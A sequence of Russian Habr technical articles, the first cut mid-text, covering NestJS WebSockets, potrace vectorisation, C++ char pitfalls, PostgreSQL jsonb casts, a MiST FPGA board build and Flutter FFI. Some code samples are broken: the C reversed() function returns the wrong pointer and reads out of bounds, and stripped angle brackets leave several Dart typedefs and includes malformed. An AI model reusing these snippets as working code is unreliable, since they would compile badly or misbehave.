return this.appService.getUser(id);
}
```
Так же при настройка модуля в nest.js можно добавить валидацию сокетов, чтобы всё было под авторизацией. Вот небольшой пример из проекта:
```
@Module({
imports: [
ConfigModule.forRoot(),
WsModule.registerAsync({
useFactory: (): IWsApiConfig => {
return {
// тут указывается та же валидация что была
// использована для app.useGlobalPipes(new ValidationPipe(validationConfig));
validationConfig,
async validate(socket: Socket) {
try {
const authGuard = new (AuthGuard('jwt'))();
const isAuth = await (authGuard.canActivate(new ExecutionContextHost([socket])) as Promise);
if (!isAuth) {
return HttpStatus.UNAUTHORIZED;
}
} catch (e) {
return HttpStatus.UNAUTHORIZED;
}
return HttpStatus.OK;
},
};
},
}),
],
})
```
Далее на клиенте с помощью пакета **swagger-typescript-api** к примеру автоматически генерите полноценного HTTP клиента под ts. В котором описаны все типы и методы для http запросов. Но нам от него нужны только типы, впрочем вы можете сделать еще и fallback в случае проблем с сокетами.
Плюс можно сделать логику что при SSR делать запрос по HTTP и далее уже на WS.
```
export interface UserDto {
id: number;
firstName: string;
email: string;
}
```
Идем дальше :-)
Что происходит на сервере:
1. Собирается приложение, при компиляции декоратора WsAction он собирает всю инфу о методе контроллера, и кладет в свою коллекцию.
2. Далее приложение запускается и собранная коллекция ожидает подключения по сокетам клиента, далее подписывается на евенты, названия которых совпадает с названием метода.
3. Клиенту отправляется информация с конфигом с сервера если надо + статус подключения, когда можно уже дергать АПИ.
4. И все это гуляет по одному каналу, что увеличивает скорость в ~10 раз.
```
[Nest] LOG [InstanceLoader] AppModule dependencies initialized +0ms
[Nest] LOG [WsGateway] Add WS action: AppController => app:getUser
[Nest] LOG [WsGateway] Add WS action: BusinessController => business:createUser
[Nest] LOG [RoutesResolver] AppController {/api}: +2ms
[Nest] LOG [RouterExplorer] Mapped {/api/:id, GET} route +3ms
[Nest] LOG [RoutesResolver] BusinessController {/api/business}: +1ms
[Nest] LOG [RouterExplorer] Mapped {/api/business/create, POST} route +0ms
[Nest] LOG [NestApplication] Nest application successfully started +6ms
```
Можно заметить что сгенерились экшены на основе неймпейска указанного в контроллере, и названия метода к которому применили декоратор **business:createUser** и **app:getUser**
По сути это и есть название евента которое отправляется с клиента:
`ws.emit('business:createUser', { payload });`
Я бы на этом закончил, но мне не было достаточно асинхронного WS, я хотел чтобы было всё синхронно как все привыкли:
`await fetch('api/create-user', { payload })`
Для этого я написал небольшой клиент который промисофицирует асинхронные сокеты и получается по итогу:
```
const result = await webSocket.emit('business:createUser', { payload });
```
Не хочется много кода сюда писать)
Модуль я [опубликовал в npm](https://www.npmjs.com/package/@drozd/nestjs-ws-api), репа <https://github.com/gustoase/nestjs-ws-api>
Демо проекта чтобы запустить потыкать накидал на коленке <https://github.com/gustoase/nestjs-ws-api-demo>
Как запустить:
1. npm i
2. npm run start:dev
3. cd client
4. npm i
5. npm run dev
6. <http://localhost:3001/>
Что по итогу хочу сказать, проект на работе который был успешно запущен летает очень быстро, проблем с ним нет, авторизация имеется, валидация тоже.
Так же за счет своевременного оповещения с сервера о состоянии АПИ можно показывать красивые уведомления :-) | https://habr.com/ru/post/696252/ | null | ru | null |
# Как реализовать конвертацию из растра в черно-белый вектор на сайте
Все графические файлы делятся на два глобальных типа — растровые и векторные. Иногда нужно сделать конвертацию из растра в черно-белый вектор. Например, для трассировки черно-белых иконок, QR-кодов, штрих-кодов, картинок с растровыми надписями, чеков или картинок в [блоге](https://onthe.io/learn).
[](http://habrahabr.ru/company/io/blog/261673/)
#### Чем отличается растровый файл от векторного
##### Растровая графика
Растровый файл представляет последовательность цветных квадратов (пикселей). Количество точек в файле определяется его размерами по горизонтали и вертикали. Например, файл размером 640х480 содержит 307 200 точек. Растровый файл можно представить в виде мозаики. Нельзя растянуть растровую картинку, не потеряв в качестве.
Популярные растровые форматы: [JPEG](https://onthe.io/learn+10+%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D0%BB+%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%8B+%D1%81+JPEG), [GIF](https://onthe.io/learn+%D0%9A%D0%B0%D0%BA+%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D1%8C+%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%82+GIF), [PNG](https://onthe.io/learn+%D0%9A%D0%B0%D0%BA+%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%B0%D1%82%D1%8C+%D1%81+PNG), TIFF, [WEBP](https://onthe.io/learn+%D0%A7%D1%82%D0%BE+%D1%82%D0%B0%D0%BA%D0%BE%D0%B5+WebP), [BPG](https://onthe.io/learn+%D0%A7%D1%82%D0%BE+%D1%82%D0%B0%D0%BA%D0%BE%D0%B5+%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%82+BPG).
##### Векторная графика
Векторная графика представляет множество различных геометрических фигур, описанных математическими формулами. Наложение этих фигур друг на друга формирует изображение. Например, обычный квадрат описывается четырьмя равными отрезками, каждый из которых соединяется своими концами с концами двух других под углом 90 градусов.
Популярные векторные форматы: [SVG](https://onthe.io/learn+%D0%98%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5+SVG), EPS, WMF, [PDF](https://onthe.io/learn+%D0%9A%D0%BE%D0%BD%D0%B2%D0%B5%D1%80%D1%82%D0%B0%D1%86%D0%B8%D1%8F+PDF+%D0%B2+%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5).
#### Из растра в вектор
##### Алгоритм векторизации
Трассировка происходит в несколько этапов:
* Векторизатор сканирует картинку и находит все области с пикселями, окрашенными в одинаковый цвет.
* Границы апроксимируются отрезками толщиной в 1 px.
* Строится триангуляция с ограничением по линиям.
##### Конвертер на основе Potrace
Иногда нужно автоматически конвертировать изображения, которые загружают пользователи из растрового в векторный формат.
Есть очень простой и бесплатный способ внедрить такую конвертацию с применением векторного редактора [Inkscape](https://inkscape.org/ru/). Inkscape использует Potrace для векторизации картинок.
После трейсинга картинка может быть только черно-белой. На [официальном сайте](http://potrace.sourceforge.net/faq.html) potrace написано, что возможно в будущем поддержка цветности будет реализована.
Пример конвертации из PNG в SVG. На входе функция potrace принимает только файлы с расширением PNM, поэтому перед трейсингом PNG нужно конвертировать:
```
exec('convert image.png image.pnm');
exec('potrace image.pnm -s -o image.svg');
```
Вот [здесь](http://i.onthe.io/convert_to_vector) реализован этот способ и можно посмотреть на качество трассировки любого изображения. Пример векторизации [размытого](http://i.onthe.io/convert_to_vector?r=89b4cfc0af3f490db78a2683499774a8) штрих-кода. А это пример трассированного [логотипа](http://i.onthe.io/convert_to_vector?r=5c98e29f15b85fc769d4924dfabb1139). Вот так конвертер справляется с [фотографиями](http://i.onthe.io/convert_to_vector?r=f01a9af3e78d85cc74500c4964615795).
##### Как сделать выходную картинку цветной
Кроме ручного редактирования есть еще один вариант покраски черно-белой картинки на выходе. Но картинка должна быть малоцветной. Решение подойдёт для трассировки цветных иконок, логотипов и кнопок в вектор.
Можно выделить отдельные цвета с помощью маски ppmcolormask (входит в состав пакета Netpbm):
```
cat img.gif | giftopnm | ppmcolormask #641b1b | potrace
```
Затем трассировать каждую часть отдельно и на выходе наложить их друг на друга.
#### Из вектора в растр
Растеризовать векторный рисунок гораздо проще. На векторную картинку накладывается сетка с ячейками определенного размера и картинка дискретизируется, после чего кодируется согласно выходному формату.
Один из примеров конвертации SVG в PNG с использованием Imagick.
С помощью этого кода можно конвертировать файлы SVG в PNG24:
```
$svg = file_get_contents('image.svg');
$image = new Imagick();
$image->setBackgroundColor(new ImagickPixel('transparent'));
$image->readImageBlob($svg);
$image->setImageFormat('png24');
$image->writeImage('image.png');
$image->clear();
$image->destroy();
```
Вот [здесь](http://i.onthe.io/convert_to_raster) можно посмотреть результаты конвертации своих картинок из SVG в PNG.
#### Конспект
1. Конвертировать из растра в вектор на своем сайте можно с помощью potrace.
2. Potrace поддерживает только черно-белую векторизацию.
3. Конвертировать из вектора в растр можно с помощью Imagick. | https://habr.com/ru/post/261673/ | null | ru | null |
# Ловушки языка С++
Было бы неплохо сделать серию статей, в которых описывались различные не очевидные «особенности» языков программирования. Во-первых, «предупреждён — значит, вооружён», во-вторых, знание их позволяет глубже понимать язык и объяснить, в случае чего, чем они опасны. Даже если в своём собственном коде такие конструкции не используются, с этими ловушками можно встретиться при разборе чужого кода или работая в команде.
Итак, пусть будет С++ и тип `char`.
Основные источники проблем это:
* отсутствие в языке специализированного целочисленного типа для 8-битных величин. Из-за этого char’у приходится брать на себя роль byte;
* наличие в языке двух совершенно разных видов строк — `std::string` («C++ строки») и `const char*` (С-строки, которые обязаны поддерживаться для совместимости).
Подробнее по первому пункту. Так как «родного типа» `byte` нет, его конструируют через тип `char`. В Стандарте сделано специальное уточнение, что типы `char`, `signed char` и `unsigned char` — это три разных типа. Этого свойства нет у других целочисленных типов, к примеру, `int` и `signed int` — тождественные определения. Дополнительными граблями здесь выступает и то, что сам по себе тип char должен быть или знаковым или беззнаковым — это зависит от платформы (грубо говоря, от компилятора и от его набора ключей). Но при этом всё равно компилятор обязан различать их все друг от друга.
Соответственно, такое вот определение:
```
void foo(char c);
void foo(signed char c);
void foo(unsigned char c);
```
объявляет три разных функции. Проблему, где происходит «смешивание» различных свойств этих типов, можно показать, например, таким куском кода:
```
#include
#include
int main()
{
uint8\_t b = 42;
std::cout << b << std::endl; // выводит символ \*, а не число 42.
}
```
Резюмируя: «байтовый» целочисленный тип в определённых ситуациях может проявить свою «символьную» сущность с неочевидными последствиями.
Перейдём ко второму пункту. В языке С нет специального типа для работы со строками. По соглашению считается, что если у нас есть указатель `char*` (или `const char*`), то это, скорее всего и есть строка, и его можно передавать соответствующим функциям. Plain C допускает даже такие удивительные вещи как, например, такое:
```
int main(void)
{
char* ptr = "hello"; // допускается в C, неконстантный указатель на строку
ptr[1] = 'q'; // получаем неопределенное поведение
"abcd"[1] = '2'; // то есть компилятор всё-таки знает, что строки у нас - read-only, менять их нельзя и закономерно ругается на вот эту конструкцию
return 0;
}
```
Хорошей новостью является то, что в С++ эту «фичу» не перенесли.
Но остальные никуда не делись. К примеру, string literal допускает наличие нулевых символов внутри себя (например, `"abc\0\123"`), а функции, которые предназначены для работы с ними (`strlen` и т.п) такие строки не поддерживают. То есть, из-за решения, что «все строки — это последовательность ненулевых символов, заканчивающаяся нулём» сразу получили ситуацию, что не со всеми строками стало возможно работать и забавные эффекты типа сложность O(n) для такой операции как «получить длину данной строки».
Далее, так как компилятор автоматически добавляет `'\0'` для всех string literal, то это приводит к таким следствиям:
```
char str1[] = "1234"; // размер этого массива 5 символов, а не 4
char str2[4] = "1234"; // ошибка, компилятор не даст создать такой массив
char str3[4] = {'1', '2', '3', '4'}; // ...хотя это легко обойти
```
Казалось бы, всё хорошо. Но последняя строка содержит скрытые грабли — она выглядит как обычный `char*`, то есть её можно передать в `puts`, `strlen` и т.п. и получить undefined behaviour.
Резюмируя: по возможности, избегайте использования строк в своих C++ программах в «старом» Си-стиле. | https://habr.com/ru/post/154033/ | null | ru | null |
# Что нового в PostgreSQL 11: улучшения в кастинге
Продолжая тему новый возможностей грядущего релиза PostgreSQL 11 (предыдущие посты: [раз](https://habr.com/company/postgrespro/blog/353126/), [два](https://habr.com/company/postgrespro/blog/353848/), [три](https://habr.com/company/postgrespro/blog/354264/)), я хотел бы рассказать об одном небольшом, но важном изменении. Изменение это касается кастинга одних типов в другие. И, конечно же, оно касается JSONB, потому что в PostgresPro мы его очень любим!
Речь идет о [патче c0cbe00f](https://git.postgresql.org/gitweb/?p=postgresql.git;a=commitdiff;h=c0cbe00fee6d0a5e0ec72c6d68a035e674edc4cc):
`commit c0cbe00fee6d0a5e0ec72c6d68a035e674edc4cc
Author: Teodor Sigaev
Date: Thu Mar 29 16:33:56 2018 +0300
Add casts from jsonb
Add explicit cast from scalar jsonb to all numeric and bool types. It would be
better to have cast from scalar jsonb to text too but there is already a cast
from jsonb to text as just text representation of json. There is no way to have
two different casts for the same type's pair.
Bump catalog version
Author: Anastasia Lubennikova with editorization by Nikita Glukhov and me
Review by: Aleksander Alekseev, Nikita Glukhov, Darafei Praliaskouski
Discussion: https://www.postgresql.org/message-id/flat/0154d35a-24ae-f063-5273-9ffcdf1c7f2e@postgrespro.ru`
Суть проблемы заключается вот в чем. Если вы возьмете PostgreSQL 10, то обнаружите следующее поведение:
`=# select 'true' :: jsonb :: bool;
ERROR: cannot cast type jsonb to boolean
LINE 1: select 'true' :: jsonb :: bool;
=# select '12345' :: jsonb :: int4;
ERROR: cannot cast type jsonb to integer
LINE 1: select '12345' :: jsonb :: int4;
=# select '12345.67' :: jsonb :: float8;
ERROR: cannot cast type jsonb to double precision
LINE 1: select '12345.67' :: jsonb :: float8;`
То есть, JSONB не приводится к числовым типам и boolean. Конечно, не то чтобы это было прямо очень большой проблемой. В конце концов, всегда можно кастонуть через text:
`=# select '12345.67' :: jsonb :: text :: float8;
float8
----------
12345.67`
Тем не менее, такое решение выглядит как-то костыльно, да и по поводу его производительности есть вопросы.
Теперь взглянем на поведение ветки master:
`=# select 'true' :: jsonb :: bool;
bool
------
t
=# select '12345' :: jsonb :: int4;
int4
-------
12345
=# select '12345.67' :: jsonb :: float8;
float8
----------
12345.67`
Как видите, теперь можно кастовать JSONB в boolean и числовые типы. Ура!
Характерно, что кастинг в обратную сторону пока что возможен только через промежуточный кастинг в text:
`=# select 12345.67 :: jsonb;
ERROR: cannot cast type numeric to jsonb
LINE 1: select 12345.67 :: jsonb;
=# select 12345.67 :: text :: jsonb;
jsonb
----------
12345.67
(1 row)`
Вы спросите, а почему нет прямого кастинга? Думаю, просто еще ни у кого не дошли руки его дописать. Звучит, как [возможность для самореализации](https://habr.com/company/postgrespro/blog/308442/), не находите? ;) | https://habr.com/ru/post/358256/ | null | ru | null |
# Прикоснемся к магии или как я вступил в ряды MISTического общества
*Ниже предложен рецепт приготовления деликатеса, позволяющего Вам попробовать различные 8 и 16-битные приставки и компьютеры. Основное же блюдо для меня miniMIG — Amiga core с графикой OCS/AGA/RTG и CPU до 68020 в 20 раз быстрее стандартной A600.*
В свои студенческие годы после ZX-Spectrum (Пентагон-128 с дисководом) я прикоснулся к волшебному миру Амига, сначала A600, затем A1200, аксели от 030-40MHz до PPC603+040. И вот, совсем недавно я узнал о Apollo Vampire (цена конечно кусачая) решил поискать что-нибудь подобное. Нашел несколько вариантов, но самый интересный, на мой взгляд, проект MIST доделанный Павлом Рябцовым. Проштудировал ветку [Сборка, настройка платы MiST v 1.31](https://zx-pk.ru/threads/29394-sborka-nastrojka-platy-mist-v-1-31.html) , заказал на сайте [CHIPkin](https://chipkin.ru/product/pechatnaya-plata-mist-v-1-31/) две печатные платы (как оказалось потом правильное решение, попеременно возникали проблемы то с одним, то с другоим экземпляром) и детали, которые были в наличии. Остальное было куплено на Али и "Чип и Дип", по мере прибытия деталей, начал сборку, о чем и хочу рассказать вам. Если Вы являетесь таким же OLD-фагом старых компьютеров, как и я, пожалуйста, приготовьтесь к прочтению.
**1.** Собираем цепь питания и индикации. Устанавливаем на плату силовые микросхемы IC1 LM3940IS-3.3, IC2 1117-2.5V, IC4 1117-1.2V, электролиты C4, C6, C7, C10, C19, C22, также можете накидать парочку блокировочных конденсаторов на 100n. Припаяем цепь индикации красный LED3, зеленый LED2, желтый LED1 светодиоды и токоограничивающие резисторы R3, R7, R45 на 220 Ом к ним. Питание я подавал на con jack DC +5V уж больно microUSB по мне хлипенькие, кнопку поставил 6 контактную, хотя видел и вариант с угловой на два. Не забудьте припаять 0 резистор R1 с обратной стороны платы или кинуть "соплю" на контакты. При подключении питания и включении кнопки должен засветиться зеленый светодиод. Проверьте напряжения со стабилизаторов 3.3V, 2.5V, 1.2V. Вот что у меня получилось:
**2.** Запаиваем IC7 AT91SAM7S256 и все что нужно для её запуска транзистор T1 IRLML6402, резисторы R20, R46-R50, R72, R76, R78, R80, R82-R85, конденсаторы C33, C42-C48, C57-C64. В конце припаяем кварцевый резонатор Q3 18.432MHz, кнопки S2-S4, двойной dip переключатель S5, разъем SV3 для вывода отладочной информации, гнездо ARM JTAG SV4 и перемычку JP1. Разъем microUSB я подобрать не смог, может вам повезет больше, припаял провода от сломанного кабеля.
Теперь можно приступить к программированию ARM, для этого установим SAM-BA v2.18 (for Windows) качаем с сайта [www.microchip.com](http://www.microchip.com). Первое включение на 5сек провести с замкнутой перемычкой JP1, в это время должен проинициализироваться USB загрузчик и при повторном включении без перемычки в диспетчере устройств появится новый **USBSerial/COMxx** порт. Запустите программу SAM-BA, выберите нужный **COM** порт, тип процессора и жмите **Connect**.
В следующем окне сначала выбираем **Erase all flash** жмем **Execute**, затем выберите файл прошивки поновее и нажмите кнопку **Send** **File**. Подробнее читайте мануал [HowToInstallTheFirmware](https://github.com/mist-devel/mist-board/wiki/HowToInstallTheFirmware), там же найдете о программировании через JTAG.
Все вышеперечисленное у меня получилось лишь на второй плате с МК rev. D, заказанным из магазина "Чип и Дип", первую плату с контроллером rev. C заказанным с Алика я тоже потом завел, замкнув вывод ERASE на 5сек. Возможно контроллер был б.у. поэтому и потребовались подобные фокусы.
**3.** Пора паять обвязку SD карты резисторы R77, R79, R81, дроссель L1, заодно контроллер USB U1 MAX3421E, резистор R65, конденсаторы C36, C40, C41 и резонатор Q2 12MHz. Не забываем припаивать конденсаторы на 100nF, вот что у меня получилось :
Подключите к SV3 USB-COM адаптер типа такого :
Если у вас все запаяно правильно и установлена карта, в терминалке увидите:
```
Minimig by Dennis van Weeren
ARM Controller by Jakub Bednarski
Version ATH201126
SDHC card detected
spiclk: 24 MHz
usb_init
max3421e_init()
Chip revision: 13
busprobe()
usb_reset_state
...
```
У меня упорно выдавался "Chip revision: ff" на второй плате, пока я не прозвонил все ноги. Оказалось не пропаял вторую ногу ARM к земле.
**4.** Раз все нормально, распаиваем USB HUB IC6 TUSB2046B, резисторы R51, R53, R55, R56, R66-R75, конденсаторы C35, C37, C38, C39, C49-C56. Обратите внимание, что номинал C38, C39 100pF, в BOM листе с сайта zx-pk.com ошибка, они там указаны 100nF, с такой ёмкостью USB HUB работать не будет. Также вместо резисторов R57-R64 в моем варианте платы место под резисторные сборки на 4 резистора по 15КОм с первым общим. Исправленный список деталей смотрите в полезных ссылках. В конце установим кварц Q1 6MHz, термопредохранитель R54 на 1.1A и двухэтажные USB гнезда:
**5.** Теперь, самое интересное, FPGA IC5 EP3C25E144. Здесь поаккуратней, на одной плате у меня был непропай с нее на CAS ОЗУ, пришлось любоваться графическими артефактами, пока не прозвонил все ноги. Необходимый минимум для ее запуска генератор OSC1 на 27MHz, дроссель L1, резисторы R4-R6, R8-R10, R12-R15, как обычно конденсаторы по питанию на 100nF.
C обратной стороны платы припаяйте мощным жалом подложку и блокировочные конденсаторы, без пропайки подложки у меня корка зашивалась с ошибкой.
Если FPGA рабочая и не перемаркировка, в дебажном выводе читаем лог про FPGA:
```
FPGA bitstream file opened, file size = 385575
[************************]
FPGA bitstream loaded
FPGA configured in 1918 ms
ident = a3
Identified MiST core
...
```
Код **ident** зависит от корки, для **TurboGFX** он равен **a4**, главное чтобы не было ошибок.
**6.** Теперь можно запаять память IC3 MT48LC16M16A2, ее заказал с префиксом 75D, так как увидел на схеме такую строчку :
**SDRAM model is MT48LC16M16A2, speed variant -75 (tAC=6ns, tOH=3ns)**
У одного человека увидел SDRAM H57V2562GTR-75C, но в нашей деревне ее найти оказалось сложнее, а мой вариант :
**7.** Распаиваем видео DAC однопроцентные резисторы R22-R42 и на синхро R16, R17 и конечно X2 узкий VGA разъем. С первой платой я возился неделю, почему нет видео, хотя по логам все ОК, оказалось пожалел пасты на строчный резистор.
**8.** Допаиваем оставшиеся блокировочные конденсаторы и аудиотракт резисторы R18, R19, R43, R44 и конденсаторы C28, C29, C31, C34 и линейный выход X1. Наушники тоже работают, домашняя специфика позволяет слушать только через Sennheiser, Infinity пока простаивают без дела. Насчет конденсаторов C30, C32 прочитал на форуме что без них "звук повеселее", на одной плате я их не запаял, действительно стало побольше высоких частот. Однозначно сказать не могу, решать Вам, попробуйте оба варианта.
**9.** Так как Midi пользоваться точно не буду, а на часы сразу детали не пришли, осталось припаять термопредохранитель R52 на 0.2A и разъемы X3,X5 папа DR9 для оригинальных джойстика и мыши (еще не проверял). В итоге получилось так :
Осталось залить амижную корку с ROM и другими необходимыми файлами и полюбоваться на картинку :
Последний раз подобное я видел около 20 лет назад, смахнул скупую слезу и пошел качать образы HDD для эмулятора. Использовать для каждого девайса свою флешку — неудобно, я пользуюсь [Sorgelig's startup menu](https://github.com/sorgelig/Menu_MIST) для выбора систем через core менеджер. С ним у меня не заработали TurboGFX и Амижная, но под последнюю я и планировал отдельную карту. Очень порадовал ZX, игру Target Renegade с General Sound я чуть-ли не прошел до конца.
Если у Вас ошибка при загрузке FPGA, советую припаять разъем JTAG SV1 и через ByteBlaster с помощью Quartus 13 прошить последовательно уроки с 1 по 4, подробнее почитайте раздел SOC в [MIST developer tutorials](https://github.com/mist-devel/mist-board/tree/master/tutorials/soc), возможно это наведет Вас на путь истинный. Обязательно переведите ползунок 1 переключателя S5 в «ON» перед подключением.
Полезные ссылки:
1. Обещанная ссылка на исправленный [BOM list](https://imax9.narod.ru/download/MistBOM.txt)
2. Сайт разработчиков [MiST — FPGA retro gaming](https://github.com/mist-devel/mist-board/wiki) .
3. Статья [FPGA MiST Guide](http://arekuse.net/blog/tech-guides/fpga/fpga-mist-guide/) на сайте arekuse.net.
4. Архив [SD Amiga](https://mega.nz/folder/rBlXDYyS#lxcT2HunDAPMhp2grR-JIA/folder/yVUQ3CwR) на сайте MEGA.
И самое главное, ради чего затевалось данная публикация. Есть у меня идея — заменить Atmel на STM32F4, автоматически выкинутся часы и наверное MAX3421E. В будущем можно поставить Cyclone 4 пожирнее. Если у Вас есть мысли по этому поводу, милости просим. | https://habr.com/ru/post/549236/ | null | ru | null |
# Наводим мосты между Flutter и нативными библиотеками
Все вы знаете, что Flutter реализует несколько абстракций для передачи данных между Dart-кодом и кодом, связанным с оболочкой Flutter Engine на языке платформы (например, Kotlin для Android). Но в действительности у Dart есть еще один инструмент для взаимодействия с внешним миром и он может использоваться для добавления C/C++ библиотек и вызова функций из Dart-кода. Основную сложность представляет разные соглашения по кодированию типизованных числовых значений, строк и структур, но часть задач по преобразованию и работе с памятью выполняют библиотека dart:ffi и пакет package:ffi/ffi.dart, а некоторые из них могут быть выполнены самостоятельно. В статье мы рассмотрим общие принципы подключения внешних библиотек и кодогенерации для создания связываний dart-функции и классов и структур данных C.
Начнем с более простого примера и создадим небольшую библиотеку на C и рассмотрим последовательность действий для ее интеграции во Flutter-приложение.
Создадим новый проект и в нем новый каталог в android/app/src/main/cpp, добавим исходный текст, файл с заголовками и CMakeLists.txt для сборки библиотеки:
```
#include "string.h"
#include "stdlib.h"
int sum(int a, int b) {
return a+b;
}
int len(char* str) {
return strlen(str);
}
char* reversed(char* str) {
char* newstr = malloc(strlen(str)+1);
str += strlen(str)-1;
while (*str) {
*newstr = *str;
str--;
newstr++;
}
*newstr = 0;
return newstr;
}
```
```
#ifndef FFI1_SAMPLE_H
#define FFI1_SAMPLE_H
int sum(int a, int b);
int len(char* str);
char* reversed(char* str);
#endif //FFI1_SAMPLE_H
```
И создадим CMakeLists.txt:
```
cmake_minimum_required(VERSION 3.4.1)
project(sample)
add_library(sample SHARED sample.c)
find_library(log-lib log)
target_link_libraries(sample)
```
И также добавим конфигурацию внешней сборки в app/build.gradle:
```
...
android {
...
externalNativeBuild {
cmake {
path "src/main/сpp/CMakeLists.txt"
}
}
}
```
После этого при выполнении сборки проекта через flutter build apk в финальный архив будет добавляться so-файл библиотеки, собранный для соответствующих платформ (lib/). Для подключения к библиотеке мы будем использовать возможности dart:ffi (Foreign Function Interface).
dart:ffi определяет внешние (нативные) типы данных и позволяет связать определение dart-функции и внешней функции из импортированной библиотеки. Типы данных включают в себя:
* Void - пустой тип (может использоваться как результат функции, которая ничего не возвращает);
* Bool - логическое значение (в C будет представлен целым числом);
* Int8, Int16, Int32, Int64 - целое число со знаком с соответствующей разрядностью;
* Uint8 (Char), Uint16, Uint32, Uint64 - целое число без знака с соответствующей разрядностью;
* Float, Double - 32-х и 64-х разрядное число с плавающей точкой;
* Pointer - указатель на область памяти в C;
* Array, Struct, Union - составные типы данных (соответственно массив однотипных элементов, структура разнотипных элементов, объединение элементов, занимающих одну область памяти).
Для привязки внешних функций необходимо загрузить библиотеку (DynamicLibrary.open) и выполнить обнаружение функции по сигнатуре и названию. Например, для поиска функции sum можно использовать следующий вызов (при условии, что в переменной library размещен результат вызова DynamicLibrary.open):
```
typedef DartSumFunction = int sum(int,int);
typedef CSumFunction = ffi.Int64 ffi.Function(ffi.Int64,ffi.Int64)>
DartSumFunction sum = library.lookup('sum').asFunction();
```
Для определения структур и объединений необходимо создать класс-расширение от ffi.Struct или ffi.Union и пометить все его свойства ключевым словом external (внешние типы данных задаются через ffi-типы, которые используются как аннотации), например для описания комплексного числа можно создать такую структуру:
```
class ComplexNumber extends ffi.Struct {
@ffi.Double()
external double x;
@ffi.Double()
external double y;
}
```
Объединения создаются аналогично (наследованием от ffi.Union). Для управления памятью и определения указателей нужно использовать тип Pointer с уточнением типа значения под указателем (например, Pointer, Pointer или Uint8Pointer может быть использован как указатель на строку, поскольку аналогом в C является тип char\*, указатель на целое 8-битное число без знака).
Для получения указателя из typed\_data (бывает часто нужно для передачи двоичных данных, например изображения), можно использовать следующий фрагмент кода:
```
Uint8Pointer getBlob(Uint8List data) {
final blob = calloc(data.length);
final blobBytes = blob.asTypedList(data.length);
blobBytes.setAll(0, data);
return blob;
}
```
Для определения массива (Array) также нужно использовать уточнение типа или одно из расширений (например, Int64Array).
Для выделения памяти можно использовать функцию calloc(N), которая возвращает указатель на тип T с выделением N элементов (суммарно N\*sizeof(T) байт). Также для создания указателя на один элемент (например структуру) можно использовать malloc(). Важно не забывать освобождать выделенную память через malloc.free(ptr).
Для преобразования строк доступны расширения в String toNativeUtf8 (возвращает Pointer) и toDartString() для обратного преобразования. Для извлечения значения под указателем используется метод .value(). Указатели могут быть преобразованы к другому типу методом .cast. Все функции по управлению памятью и работе с указателями доступны в пакете package:ffi/ffi.dart.
Всегда необходимо помнить, что если внешняя функция возвращает указатель, нужно скопировать данные в другой объект, поскольку указатель будет нужно освободить. Поэтому предпочтительно для структур и объединений создавать отдельный Dart-класс и именованный конструктор, который будет заполнять данные Dart-объекта на основе значений, полученных из указателя на структуру.
Процесс создания интерфейса для вызова внешних функций может быть автоматизировать с помощью кодогенерации пакетом ffigen. Установим его как зависимость для разработки:
```
flutter pub add --dev ffigen
```
И добавим конфигурацию в pubspec.yaml:
```
ffigen:
output: 'lib/generated_bindings.dart'
name: SampleNative
headers:
entry-points:
- 'android/app/src/main/сpp/sample.h'
```
После запуска flutter pub run ffigen в сгенерированном файле будет доступен класс SampleNative, который при создании получает объект загруженной динамической библиотеки и представляет интерфейс с методами, совпадающими с заголовочным файлом sample.h:
```
import 'package:path/path.dart' as path;
String libraryFilename(String library) {
if (Platform.isMacOs) return "lib${library}.dylib";
if (Platform.isWindows) return "${library}.dll";
return "lib${library}.so";
}
void example() {
ffi.DynamicLibrary library;
if (Platform.isAndroid) {
library = ffi.DynamicLibrary.open(libraryFilename('sample'));
} else if (Platform.isIos) {
library = ffi.DynamicLibrary.process();
} else {
library = ffi.DynamicLibrary.open(path.join(Directory.current.path, libraryFilename('sample')));
}
final nativeLibrary = NativeSample(library);
print(nativeLibrary.sum(2,2));
}
```
Теперь, когда мы умеет подключать простые библиотеки, обсудим способы интеграции OpenCV.
Начнем с установки исходных текстов и настройки сборки для получения so-библиотек и необходимых заголовочных файлов:
```
git clone https://github.com/opencv/opencv.git
git clone https://github.com/opencv/opencv_contrib.git
python3 opencv/platforms/android/build_sdk.py --sdk_path $ANDROID_HOME --ndk_path $ANDROID_NDK_HOME --extra_modules_path opencv_contrib/modules/
```
Для импорта сгенерированных библиотек и header-файлов можно использовать готовый CMakeLists.txt [отсюда](https://github.com/khaifunglim97/flutter_ffi_examples/blob/master/android/CMakeLists.txt). Для правильной сборки нужно указать диалект языка C++ в build.gradle:
```
externalNativeBuild {
cmake {
cppFlags "-frtti -fexceptions -std=c++17"
abiFilters "armeabi-v7a", "arm64-v8a"
}
}
```
Обертки над функциями могут быть написаны самостоятельно или с использованием ffigen, например для функции cvMaxRect, которая принимает два указателя на прямоугольники и возвращает новый прямоугольник, определение может выглядеть следующим образом:
```
class CvRect extends Struct {
@Int64() external int x;
@Int64() external int y;
@Int64(); external int width;
@Int64(); external int height;
}
typedef CvRectPtr = Pointer
typedef cv\_max\_rect\_function = NativeFunction
typedef CvMaxRectFunction = CvRect Function
final cvMaxRect = library.lookup('cvMaxRect').asFunction();
```
При вызовах ffi необходимо помнить, что обращение к функциям происходит синхронно и блокирует основной изолят, поэтому для длительных операций (преобразования изображение, детектирование объектов и др.) предпочтительно использовать изоляты (в простейшем варианте можно применить compute с передачей внешней функции).
Важно помнить, что dart FFI поддерживает только С API, поэтому для библиотек, которые созданы только для C++ потребуется создавать дополнительные функции-обертки для создания и удаления объектов (результатом может быть структура с указателем на объект или иным handle, который можно использовать для обнаружения созданного объекта в C-коде), а также функции-адаптеры для вызова соответствующих методов объекта (указатель или handle-объекта передается параметром функции). Для корректной компиляции обертки (при смешивании C и C++ исходных текстов) перед функциями необходимо добавить extern "C". Примеры создания таких связываний можно посмотреть в [этом](https://caiorss.github.io/) репозитории.
Во второй части статьи мы рассмотрим более подробно интеграцию нативных Android-библиотек на примере библиотеки обработки и синтеза звука AAudio.
